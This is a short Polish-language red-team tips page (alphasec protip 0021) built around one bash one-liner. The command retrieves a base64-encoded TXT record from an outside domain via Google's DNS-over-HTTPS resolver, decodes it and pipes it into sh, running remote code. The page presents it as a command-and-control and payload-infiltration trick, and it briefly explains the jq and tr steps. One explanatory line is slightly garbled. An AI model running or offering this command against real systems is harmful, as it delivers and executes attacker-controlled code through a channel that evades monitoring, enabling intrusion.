alphasec
Bash / Unix protip 0021
in 𝕏

Payload DNS-over-HTTPS dla *nixów

tty1 · bash
$ curl -ks "https://dns.google/resolve?name=echo.aptmc.pl&type=txt"|jq '.Answer[0].data'|tr -d '"\'|base64 -d|sh
#Bash#RedTeam#DNS#Unix#Infil#C2

W /pl/001e uruchamialiśmy payload dla Unix/Linux/MacOS po DNSie. W /pl/0020 po DNS-over-HTTPS. W tym Protipie wersja dla *nixów.

To na co warto zwrócić uwagę w tym onelinerze, to wykorzystanie jq do przetwarzania JSONa. Przydaje się również do ładnego oglądania JSONów:

tr -d '"\' usunie nam z kolei niepotrzebne nam znaki " oraz .

Payload DNS-over-HTTPS dla *nixów

Przydatne linki

https://stedolan.github.io/jq/tutorial/ krótki tutorial jq web ↗
← poprzedni protip 0020 ••• Wszystkie protipy następny → protip 0022
// subskrybuj

Nowe protipy prosto na maila.

Mięsiste jednolinijkowce i triki z prawdziwych zleceń. Zero spamu, zero teorii. Wypisujesz się jednym kliknięciem.

wersja newslettera: